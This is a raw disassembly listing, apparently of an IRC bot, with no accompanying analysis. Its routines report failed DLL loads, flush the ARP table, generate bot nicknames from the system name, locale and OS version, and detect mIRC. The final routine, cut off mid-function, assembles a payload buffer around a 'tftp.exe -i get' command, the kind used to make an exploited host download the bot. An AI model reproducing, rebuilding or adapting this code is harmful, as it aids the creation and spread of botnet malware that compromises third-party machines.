mov dword_4CE258, eax
call esi ; GetProcAddress
cmp dword_4CE258, ebx
mov dword_4CE338, eax
jz short loc_40A488
cmp eax, ebx
jnz short loc_40A492
jmp short loc_40A488
; ---------------------------------------------------------------------------
loc_40A47D: ; CODE XREF: sub_4097DE+C75j
call dword_428094 ; RtlGetLastWin32Error
mov dword_4CE430, eax
loc_40A488: ; CODE XREF: sub_4097DE+C97j
; sub_4097DE+C9Dj
mov dword_4CE42C, 1
loc_40A492: ; CODE XREF: sub_4097DE+C9Bj
pop edi
xor eax, eax
pop esi
pop ebp
inc eax
pop ebx
retn
sub_4097DE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A49A proc near ; CODE XREF: sub_401AA1+24D4p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push ebx
mov ebx, [ebp+arg_4]
push esi
xor esi, esi
cmp dword_4CE3C4, esi
push edi
mov edi, [ebp+arg_8]
jz short loc_40A4E2
push dword_4CE3C8
lea eax, [ebp+var_200]
push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
push eax
call sub_41BEF6
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409743
add esp, 20h
loc_40A4E2: ; CODE XREF: sub_40A49A+1Aj
cmp dword_4CE3CC, esi
jz short loc_40A516
push dword_4CE3D0
lea eax, [ebp+var_200]
push offset aUser32_dllFail ; "User32.dll failed. <%d>"
push eax
call sub_41BEF6
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409743
add esp, 20h
loc_40A516: ; CODE XREF: sub_40A49A+4Ej
cmp dword_4CE3D4, esi
jz short loc_40A54A
push dword_4CE3D8
lea eax, [ebp+var_200]
push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
push eax
call sub_41BEF6
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409743
add esp, 20h
loc_40A54A: ; CODE XREF: sub_40A49A+82j
cmp dword_4CE3DC, esi
jz short loc_40A57E
push dword_4CE3E0
lea eax, [ebp+var_200]
push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
push eax
call sub_41BEF6
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409743
add esp, 20h
loc_40A57E: ; CODE XREF: sub_40A49A+B6j
cmp dword_4CE3E4, esi
jz short loc_40A5B2
push dword_4CE3E8
lea eax, [ebp+var_200]
push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
push eax
call sub_41BEF6
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409743
add esp, 20h
loc_40A5B2: ; CODE XREF: sub_40A49A+EAj
cmp dword_4CE3EC, esi
jz short loc_40A5E6
push dword_4CE3F0
lea eax, [ebp+var_200]
push offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
push eax
call sub_41BEF6
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409743
add esp, 20h
loc_40A5E6: ; CODE XREF: sub_40A49A+11Ej
cmp dword_4CE3F4, esi
jz short loc_40A61A
push dword_4CE3F8
lea eax, [ebp+var_200]
push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
push eax
call sub_41BEF6
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409743
add esp, 20h
loc_40A61A: ; CODE XREF: sub_40A49A+152j
cmp dword_4CE3FC, esi
jz short loc_40A64E
push dword_4CE400
lea eax, [ebp+var_200]
push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
push eax
call sub_41BEF6
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409743
add esp, 20h
loc_40A64E: ; CODE XREF: sub_40A49A+186j
cmp dword_4CE404, esi
jz short loc_40A682
push dword_4CE408
lea eax, [ebp+var_200]
push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
push eax
call sub_41BEF6
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409743
add esp, 20h
loc_40A682: ; CODE XREF: sub_40A49A+1BAj
cmp dword_4CE40C, esi
jz short loc_40A6B6
push dword_4CE410
lea eax, [ebp+var_200]
push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
push eax
call sub_41BEF6
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409743
add esp, 20h
loc_40A6B6: ; CODE XREF: sub_40A49A+1EEj
cmp dword_4CE414, esi
jz short loc_40A6EA
push dword_4CE418
lea eax, [ebp+var_200]
push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
push eax
call sub_41BEF6
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409743
add esp, 20h
loc_40A6EA: ; CODE XREF: sub_40A49A+222j
cmp dword_4CE41C, esi
jz short loc_40A71E
push dword_4CE420
lea eax, [ebp+var_200]
push offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
push eax
call sub_41BEF6
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409743
add esp, 20h
loc_40A71E: ; CODE XREF: sub_40A49A+256j
cmp dword_4CE424, esi
jz short loc_40A752
push dword_4CE428
lea eax, [ebp+var_200]
push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
push eax
call sub_41BEF6
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409743
add esp, 20h
loc_40A752: ; CODE XREF: sub_40A49A+28Aj
cmp dword_4CE42C, esi
jz short loc_40A786
push dword_4CE430
lea eax, [ebp+var_200]
push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
push eax
call sub_41BEF6
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409743
add esp, 20h
loc_40A786: ; CODE XREF: sub_40A49A+2BEj
lea eax, [ebp+var_200]
push offset dword_42FEEC
push eax
call sub_41BEF6
cmp [ebp+arg_C], esi
pop ecx
pop ecx
jnz short loc_40A7B3
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409743
add esp, 14h
loc_40A7B3: ; CODE XREF: sub_40A49A+302j
lea eax, [ebp+var_200]
push eax
call sub_415F45
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_40A49A endp
; =============== S U B R O U T I N E =======================================
sub_40A7C5 proc near ; CODE XREF: sub_4017BF+4Fp
; sub_401AA1+5BA0p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4CE348 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short locret_40A7ED
push [esp+arg_0]
call dword_4CE38C ; gethostbyname
test eax, eax
jnz short loc_40A7E6
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_40A7E6: ; CODE XREF: sub_40A7C5+1Bj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_40A7ED: ; CODE XREF: sub_40A7C5+Dj
retn
sub_40A7C5 endp
; =============== S U B R O U T I N E =======================================
sub_40A7EE proc near ; CODE XREF: sub_4017BF+D6p
mov ecx, dword_4CE224
xor eax, eax
test ecx, ecx
jz short locret_40A7FC
jmp ecx
; ---------------------------------------------------------------------------
locret_40A7FC: ; CODE XREF: sub_40A7EE+Aj
retn
sub_40A7EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A7FD proc near ; CODE XREF: sub_401AA1:loc_403E94p
var_88 = byte ptr -88h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 88h
push ebx
xor ebx, ebx
push esi
inc ebx
push edi
lea eax, [ebp+var_8]
xor edi, edi
push ebx
push eax
push edi
xor esi, esi
mov [ebp+var_8], edi
mov [ebp+var_4], ebx
call dword_4CE384 ; GetIpNetTable
mov ecx, eax
sub ecx, edi
jz short loc_40A884
sub ecx, 32h
jz loc_40A8CE
sub ecx, 48h
jz short loc_40A859
sub ecx, 6Eh
jz short loc_40A852
loc_40A83B: ; CODE XREF: sub_40A7FD+85j
push eax
lea eax, [ebp+var_88]
push offset unk_43011C
push eax
call sub_41BEF6
add esp, 0Ch
jmp short loc_40A8AF
; ---------------------------------------------------------------------------
loc_40A852: ; CODE XREF: sub_40A7FD+3Cj
push offset unk_4300F8
jmp short loc_40A8A1
; ---------------------------------------------------------------------------
loc_40A859: ; CODE XREF: sub_40A7FD+37j
push [ebp+var_8]
call sub_41BB45
push [ebp+var_8]
mov esi, eax
push edi
push esi
call sub_41BC00
add esp, 10h
cmp esi, edi
jz short loc_40A89C
lea eax, [ebp+var_8]
push ebx
push eax
push esi
call dword_4CE384 ; GetIpNetTable
cmp eax, edi
jnz short loc_40A83B
loc_40A884: ; CODE XREF: sub_40A7FD+29j
cmp [esi], edi
jbe short loc_40A8BF
lea ebx, [esi+4]
loc_40A88B: ; CODE XREF: sub_40A7FD+9Bj
push ebx
call dword_4CE380 ; DeleteIpNetEntry
inc edi
add ebx, 18h
cmp edi, [esi]
jb short loc_40A88B
jmp short loc_40A8BF
; ---------------------------------------------------------------------------
loc_40A89C: ; CODE XREF: sub_40A7FD+75j
push offset unk_4300C8
loc_40A8A1: ; CODE XREF: sub_40A7FD+5Aj
; sub_40A7FD+D6j
lea eax, [ebp+var_88]
push eax
call sub_41BEF6
pop ecx
pop ecx
loc_40A8AF: ; CODE XREF: sub_40A7FD+53j
lea eax, [ebp+var_88]
mov [ebp+var_4], edi
push eax
call sub_415F45
pop ecx
loc_40A8BF: ; CODE XREF: sub_40A7FD+89j
; sub_40A7FD+9Dj
push esi
call sub_41B721
mov eax, [ebp+var_4]
pop ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40A8CE: ; CODE XREF: sub_40A7FD+2Ej
push offset unk_430098
jmp short loc_40A8A1
sub_40A7FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A8D5 proc near ; CODE XREF: sub_401AA1+219Ap
; sub_401AA1+22D1p ...
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
push 10h
pop eax
mov [ebp+var_4], eax
push eax
lea eax, [ebp+var_14]
push 0
push eax
call sub_41BC00
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
call dword_4CE2AC ; getsockname
movzx eax, [ebp+var_D]
push eax
mov esi, offset dword_4CE434
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_F]
push eax
movzx eax, [ebp+var_10]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push esi
call sub_41BEF6
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_40A8D5 endp
; =============== S U B R O U T I N E =======================================
sub_40A92E proc near ; CODE XREF: sub_4138D3+24Cp
; sub_4138D3+292p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
xor edx, edx
cmp ecx, 1
push esi
jle short loc_40A959
lea eax, [ecx-2]
push edi
shr eax, 1
inc eax
mov esi, eax
neg esi
lea ecx, [ecx+esi*2]
mov esi, [esp+8+arg_0]
loc_40A94C: ; CODE XREF: sub_40A92E+26j
movzx edi, word ptr [esi]
add edx, edi
inc esi
inc esi
dec eax
jnz short loc_40A94C
pop edi
jmp short loc_40A95D
; ---------------------------------------------------------------------------
loc_40A959: ; CODE XREF: sub_40A92E+Aj
mov esi, [esp+4+arg_0]
loc_40A95D: ; CODE XREF: sub_40A92E+29j
test ecx, ecx
jz short loc_40A966
movzx eax, byte ptr [esi]
add edx, eax
loc_40A966: ; CODE XREF: sub_40A92E+31j
mov ecx, edx
and edx, 0FFFFh
shr ecx, 10h
add ecx, edx
pop esi
mov eax, ecx
shr eax, 10h
add eax, ecx
not eax
retn
sub_40A92E endp
; =============== S U B R O U T I N E =======================================
sub_40A97E proc near ; CODE XREF: sub_40AD20+4Dp
; DATA XREF: .XPack0:off_430168o
arg_0 = dword ptr 4
push esi
push edi
call dword_4280B0 ; GetTickCount
push eax
call sub_41BF48
call sub_41BF52
xor edx, edx
mov ecx, 48Fh
div ecx
mov edi, [esp+0Ch+arg_0]
push off_4301E8[edx*4]
push offset aS_2 ; "%s"
push 1Ch
push edi
call sub_41BFF0
xor esi, esi
add esp, 14h
cmp dword_42A984, esi
jle short loc_40A9E5
loc_40A9BF: ; CODE XREF: sub_40A97E+65j
call sub_41BF52
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42DAB0
push 1Ch
push edi
call sub_41BFF0
add esp, 14h
inc esi
cmp esi, dword_42A984
jl short loc_40A9BF
loc_40A9E5: ; CODE XREF: sub_40A97E+3Fj
mov eax, edi
pop edi
pop esi
retn
sub_40A97E endp
; ---------------------------------------------------------------------------
push esi
push edi
call dword_4280B0 ; GetTickCount
push eax
call sub_41BF48
mov edi, [esp+10h]
mov dword ptr [esp], offset aL4m3r ; "[l4m3r]"
push offset aS_2 ; "%s"
push 1Ch
push edi
call sub_41BFF0
xor esi, esi
add esp, 10h
cmp dword_42A984, esi
jle short loc_40AA43
loc_40AA1D: ; CODE XREF: .XPack0:0040AA41j
call sub_41BF52
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42DAB0
push 1Ch
push edi
call sub_41BFF0
add esp, 14h
inc esi
cmp esi, dword_42A984
jl short loc_40AA1D
loc_40AA43: ; CODE XREF: .XPack0:0040AA1Bj
mov eax, edi
pop edi
pop esi
retn
; =============== S U B R O U T I N E =======================================
sub_40AA48 proc near ; CODE XREF: sub_401AA1+68A0p
arg_0 = dword ptr 4
push ebx
push esi
push edi
call dword_4280B0 ; GetTickCount
push eax
call sub_41BF48
pop ecx
call sub_41BF52
push 3
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
xor edi, edi
idiv ecx
mov esi, edx
add esi, dword_42A984
test esi, esi
jle short loc_40AA8B
loc_40AA75: ; CODE XREF: sub_40AA48+41j
call sub_41BF52
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 61h
mov [edi+ebx], dl
inc edi
cmp edi, esi
jl short loc_40AA75
loc_40AA8B: ; CODE XREF: sub_40AA48+2Bj
and byte ptr [edi+ebx], 0
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40AA48 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov dword ptr [ebp-4], 100h
call dword_4280B0 ; GetTickCount
push eax
call sub_41BF48
pop ecx
lea eax, [ebp-4]
mov esi, offset aPc ; "PC"
push eax
push esi
call dword_4280C8 ; GetComputerNameA
mov edi, [ebp+8]
push esi
push 1Ch
push edi
call sub_41BFF0
xor esi, esi
add esp, 0Ch
cmp dword_42A984, esi
jle short loc_40AAFE
loc_40AAD8: ; CODE XREF: .XPack0:0040AAFCj
call sub_41BF52
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42DAB0
push 1Ch
push edi
call sub_41BFF0
add esp, 14h
inc esi
cmp esi, dword_42A984
jl short loc_40AAD8
loc_40AAFE: ; CODE XREF: .XPack0:0040AAD6j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
call dword_4280B0 ; GetTickCount
push eax
call sub_41BF48
pop ecx
lea eax, [ebp-0Ch]
push 0Ah
push eax
push 7
push 800h
call dword_4280CC ; GetLocaleInfoA
mov edi, [ebp+8]
lea eax, [ebp-0Ch]
push eax
push offset aS_3 ; "%s|"
push 1Ch
push edi
call sub_41BFF0
xor esi, esi
add esp, 10h
cmp dword_42A984, esi
jle short loc_40AB73
loc_40AB4D: ; CODE XREF: .XPack0:0040AB71j
call sub_41BF52
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42DAB0
push 1Ch
push edi
call sub_41BFF0
add esp, 14h
inc esi
cmp esi, dword_42A984
jl short loc_40AB4D
loc_40AB73: ; CODE XREF: .XPack0:0040AB4Bj
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 94h
push esi
lea eax, [ebp-94h]
push edi
push eax
mov esi, offset byte_4404C4
mov dword ptr [ebp-94h], 94h
call dword_4280D0 ; GetVersionExA
call dword_4280B0 ; GetTickCount
push eax
call sub_41BF48
cmp dword ptr [ebp-90h], 4
pop ecx
jnz short loc_40ABFD
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40ABDD
cmp dword ptr [ebp-84h], 1
jnz short loc_40ABCD
mov esi, offset a95 ; "95"
loc_40ABCD: ; CODE XREF: .XPack0:0040ABC6j
cmp dword ptr [ebp-84h], 2
jnz short loc_40AC39
mov esi, offset aNt_0 ; "NT"
jmp short loc_40AC39
; ---------------------------------------------------------------------------
loc_40ABDD: ; CODE XREF: .XPack0:0040ABBDj
cmp dword ptr [ebp-8Ch], 0Ah
jnz short loc_40ABED
mov esi, offset a98 ; "98"
jmp short loc_40AC39
; ---------------------------------------------------------------------------
loc_40ABED: ; CODE XREF: .XPack0:0040ABE4j
cmp dword ptr [ebp-8Ch], 5Ah
jnz short loc_40AC34
mov esi, offset aMe_0 ; "ME"
jmp short loc_40AC39
; ---------------------------------------------------------------------------
loc_40ABFD: ; CODE XREF: .XPack0:0040ABB4j
cmp dword ptr [ebp-90h], 5
jnz short loc_40AC34
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40AC16
mov esi, offset a2k ; "2K"
jmp short loc_40AC39
; ---------------------------------------------------------------------------
loc_40AC16: ; CODE XREF: .XPack0:0040AC0Dj
cmp dword ptr [ebp-8Ch], 1
jnz short loc_40AC26
mov esi, offset aXp_0 ; "XP"
jmp short loc_40AC39
; ---------------------------------------------------------------------------
loc_40AC26: ; CODE XREF: .XPack0:0040AC1Dj
cmp dword ptr [ebp-8Ch], 2
mov esi, offset a2k3 ; "2K3"
jz short loc_40AC39
loc_40AC34: ; CODE XREF: .XPack0:0040ABF4j
; .XPack0:0040AC04j
mov esi, offset a??? ; "???"
loc_40AC39: ; CODE XREF: .XPack0:0040ABD4j
; .XPack0:0040ABDBj ...
mov edi, [ebp+8]
push esi
push offset aS_4 ; "[%s]|"
push 1Ch
push edi
call sub_41BFF0
xor esi, esi
add esp, 10h
cmp dword_42A984, esi
jle short loc_40AC7D
loc_40AC57: ; CODE XREF: .XPack0:0040AC7Bj
call sub_41BF52
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42DAB0
push 1Ch
push edi
call sub_41BFF0
add esp, 14h
inc esi
cmp esi, dword_42A984
jl short loc_40AC57
loc_40AC7D: ; CODE XREF: .XPack0:0040AC55j
mov eax, edi
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AC83 proc near ; CODE XREF: sub_40AD20+60p
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
call dword_4280B0 ; GetTickCount
xor edx, edx
mov ecx, 5265C00h
div ecx
push 0
push offset aMirc_0 ; "mIRC"
mov esi, eax
call dword_4CE314 ; FindWindowA
cmp esi, 64h
jbe short loc_40ACD2
test eax, eax
mov eax, offset aM_0 ; "[M]"
jnz short loc_40ACBB
mov eax, offset byte_4404C4
loc_40ACBB: ; CODE XREF: sub_40AC83+31j
push eax
push esi
push offset aDS ; "[%d]%s"
lea eax, [ebp+var_1C]
push 1Ch
push eax
call sub_41BFF0
add esp, 14h
jmp short loc_40ACEC
; ---------------------------------------------------------------------------
loc_40ACD2: ; CODE XREF: sub_40AC83+28j
test eax, eax
mov eax, offset aM_0 ; "[M]"
jnz short loc_40ACE0
mov eax, offset byte_4404C4
loc_40ACE0: ; CODE XREF: sub_40AC83+56j
push eax
lea eax, [ebp+var_1C]
push eax
call sub_41BEF6
pop ecx
pop ecx
loc_40ACEC: ; CODE XREF: sub_40AC83+4Dj
lea eax, [ebp+var_1C]
push eax
call sub_41B650
pop ecx
cmp eax, 2
pop esi
jbe short loc_40AD1B
push 1Ch
lea eax, [ebp+var_1C]
push [ebp+arg_0]
push eax
call sub_41C850
lea eax, [ebp+var_1C]
push 1Ch
push eax
push [ebp+arg_0]
call sub_41BC60
add esp, 18h
loc_40AD1B: ; CODE XREF: sub_40AC83+77j
mov eax, [ebp+arg_0]
leave
retn
sub_40AC83 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AD20 proc near ; CODE XREF: sub_4017BF+7Fp
; sub_401925+50p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
xor esi, esi
loc_40AD29: ; CODE XREF: sub_40AD20+43j
cmp [ebp+arg_C], 0
jz short loc_40AD47
lea eax, dword_430158[esi]
push eax
push [ebp+arg_C]
call sub_41C6E0
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40AD55
; ---------------------------------------------------------------------------
loc_40AD47: ; CODE XREF: sub_40AD20+Dj
mov ecx, dword_430164[esi]
xor eax, eax
cmp ecx, [ebp+arg_4]
setz al
loc_40AD55: ; CODE XREF: sub_40AD20+25j
test eax, eax
jnz short loc_40AD67
add esi, 14h
inc edi
cmp esi, 8Ch
jb short loc_40AD29
jmp short loc_40AD75
; ---------------------------------------------------------------------------
loc_40AD67: ; CODE XREF: sub_40AD20+37j
push [ebp+arg_0]
lea eax, [edi+edi*4]
call off_430168[eax*4]
pop ecx
loc_40AD75: ; CODE XREF: sub_40AD20+45j
cmp [ebp+arg_8], 0
pop edi
pop esi
jz short loc_40AD88
push [ebp+arg_0]
call sub_40AC83
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40AD88: ; CODE XREF: sub_40AD20+5Bj
mov eax, [ebp+arg_0]
pop ebp
retn
sub_40AD20 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0B8h
push ebx
push esi
lea eax, [ebp-0B8h]
push edi
push eax
mov edi, offset byte_4404C4
mov dword ptr [ebp-0B8h], 94h
call dword_4280D0 ; GetVersionExA
cmp dword ptr [ebp-0B4h], 4
push 0Ah
pop ebx
jnz short loc_40AE07
cmp dword ptr [ebp-0B0h], 0
jnz short loc_40ADE8
cmp dword ptr [ebp-0A8h], 1
jnz short loc_40ADD8
mov edi, offset a95 ; "95"
loc_40ADD8: ; CODE XREF: .XPack0:0040ADD1j
cmp dword ptr [ebp-0A8h], 2
jnz short loc_40AE43
mov edi, offset aNt_0 ; "NT"
jmp short loc_40AE43
; ---------------------------------------------------------------------------
loc_40ADE8: ; CODE XREF: .XPack0:0040ADC8j
cmp [ebp-0B0h], ebx
jnz short loc_40ADF7
mov edi, offset a98 ; "98"
jmp short loc_40AE43
; ---------------------------------------------------------------------------
loc_40ADF7: ; CODE XREF: .XPack0:0040ADEEj
cmp dword ptr [ebp-0B0h], 5Ah
jnz short loc_40AE3E
mov edi, offset aMe_0 ; "ME"
jmp short loc_40AE43
; ---------------------------------------------------------------------------
loc_40AE07: ; CODE XREF: .XPack0:0040ADBFj
cmp dword ptr [ebp-0B4h], 5
jnz short loc_40AE3E
cmp dword ptr [ebp-0B0h], 0
jnz short loc_40AE20
mov edi, offset a2k ; "2K"
jmp short loc_40AE43
; ---------------------------------------------------------------------------
loc_40AE20: ; CODE XREF: .XPack0:0040AE17j
cmp dword ptr [ebp-0B0h], 1
jnz short loc_40AE30
mov edi, offset aXp_0 ; "XP"
jmp short loc_40AE43
; ---------------------------------------------------------------------------
loc_40AE30: ; CODE XREF: .XPack0:0040AE27j
cmp dword ptr [ebp-0B0h], 2
mov edi, offset dword_433ED0
jz short loc_40AE43
loc_40AE3E: ; CODE XREF: .XPack0:0040ADFEj
; .XPack0:0040AE0Ej
mov edi, offset dword_433ECC
loc_40AE43: ; CODE XREF: .XPack0:0040ADDFj
; .XPack0:0040ADE6j ...
lea eax, [ebp-0A4h]
push offset dword_4CE1C0
push eax
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_40AE61
mov esi, offset dword_433EC8
jmp short loc_40AEDC
; ---------------------------------------------------------------------------
loc_40AE61: ; CODE XREF: .XPack0:0040AE58j
lea eax, [ebp-0A4h]
push offset a1 ; "1"
push eax
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jz short loc_40AE7F
mov esi, offset sub_433EC4
jmp short loc_40AEDC
; ---------------------------------------------------------------------------
loc_40AE7F: ; CODE XREF: .XPack0:0040AE76j
lea eax, [ebp-0A4h]
push offset dword_433EC0
push eax
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jz short loc_40AE9D
mov esi, offset dword_433EBC
jmp short loc_40AEDC
; ---------------------------------------------------------------------------
loc_40AE9D: ; CODE XREF: .XPack0:0040AE94j
lea eax, [ebp-0A4h]
push offset dword_433EB8
push eax
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jz short loc_40AEBB
mov esi, offset dword_433EB4
jmp short loc_40AEDC
; ---------------------------------------------------------------------------
loc_40AEBB: ; CODE XREF: .XPack0:0040AEB2j
lea eax, [ebp-0A4h]
push offset dword_433EB0
push eax
call sub_41BF70
pop ecx
mov esi, offset dword_433EAC
test eax, eax
pop ecx
jnz short loc_40AEDC
mov esi, offset off_433EA8
loc_40AEDC: ; CODE XREF: .XPack0:0040AE5Fj
; .XPack0:0040AE7Dj ...
lea eax, [ebp-0Ch]
or dword ptr [ebp-4], 0FFFFFFFFh
push eax
or dword ptr [ebp-8], 0FFFFFFFFh
or dword ptr [ebp-0Ch], 0FFFFFFFFh
lea eax, [ebp-8]
push eax
lea eax, [ebp-4]
push eax
push offset aDdDhDm ; "%dd %dh %dm"
push 0
call sub_41AF01
pop ecx
push eax
call sub_41C973
mov eax, [ebp-4]
add esp, 14h
cmp eax, ebx
jge short loc_40AF26
push eax
push offset a0D ; "0%d"
lea eax, [ebp-18h]
push ebx
push eax
call sub_41BFF0
add esp, 10h
jmp short loc_40AF4A
; ---------------------------------------------------------------------------
loc_40AF26: ; CODE XREF: .XPack0:0040AF0Fj
cmp eax, 64h
jge short loc_40AF38
lea ecx, [ebp-18h]
push ebx
push ecx
push eax
call sub_426E0C
jmp short loc_40AF47
; ---------------------------------------------------------------------------
loc_40AF38: ; CODE XREF: .XPack0:0040AF29j
push offset a99 ; "99"
lea eax, [ebp-18h]
push ebx
push eax
call sub_41BFF0
loc_40AF47: ; CODE XREF: .XPack0:0040AF36j
add esp, 0Ch
loc_40AF4A: ; CODE XREF: .XPack0:0040AF24j
call dword_4280B0 ; GetTickCount
push eax
call sub_41BF48
pop ecx
lea eax, [ebp-24h]
push ebx
push eax
push 7
push 800h
call dword_4280CC ; GetLocaleInfoA
lea eax, [ebp-18h]
push eax
push esi
lea eax, [ebp-24h]
push edi
mov edi, [ebp+8]
push eax
push offset aSSSS ; "[%s]%s|%s|%s|"
push 1Ch
push edi
call sub_41BFF0
xor esi, esi
add esp, 1Ch
cmp dword_42A984, esi
jle short loc_40AFB5
loc_40AF90: ; CODE XREF: .XPack0:0040AFB3j
call sub_41BF52
cdq
mov ecx, ebx
idiv ecx
push edx
push edi
push offset dword_42DAB0
push 1Ch
push edi
call sub_41BFF0
add esp, 14h
inc esi
cmp esi, dword_42A984
jl short loc_40AF90
loc_40AFB5: ; CODE XREF: .XPack0:0040AF8Ej
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_40AFBC proc near ; CODE XREF: sub_40AFDC+Ap
; sub_40B0B4+8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_41B650
push [esp+8+arg_4]
mov esi, eax
call sub_41B650
pop ecx
lea eax, [esi+eax*2+0C1h]
pop ecx
pop esi
retn
sub_40AFBC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AFDC proc near ; CODE XREF: sub_40B0CB+49p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_C]
push [ebp+arg_8]
call sub_40AFBC
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
mov [ebp+var_4], eax
jbe short loc_40AFF9
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40AFF9: ; CODE XREF: sub_40AFDC+17j
push ebx
push esi
push edi
push [ebp+arg_8]
call sub_41B650
push [ebp+arg_C]
mov esi, eax
call sub_41B650
mov edi, eax
mov ebx, [ebp+arg_0]
push 0FFFFFFEDh
lea eax, [edi+esi+12h]
mov dword_433F6C, eax
lea eax, [edi+1]
mov dword_433F8D, eax
lea eax, [edi+17h]
mov dword_433F85, eax
pop eax
push 74h
sub eax, edi
push offset dword_433F08
push ebx
mov dword_433F9B, eax
call near ptr sub_41C9B0
push esi
lea eax, [ebx+74h]
push [ebp+arg_8]
push eax
call near ptr sub_41C9B0
add esi, 74h
push 5
push (offset aTftp_exeIGet+0Ch)
lea eax, [esi+ebx]
push eax
call near ptr sub_41C9B0
add esi, 5
